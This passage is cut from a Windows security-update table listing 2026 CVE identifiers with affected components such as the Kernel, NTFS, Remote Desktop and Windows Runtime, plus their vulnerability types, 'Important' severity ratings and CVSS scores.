Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation 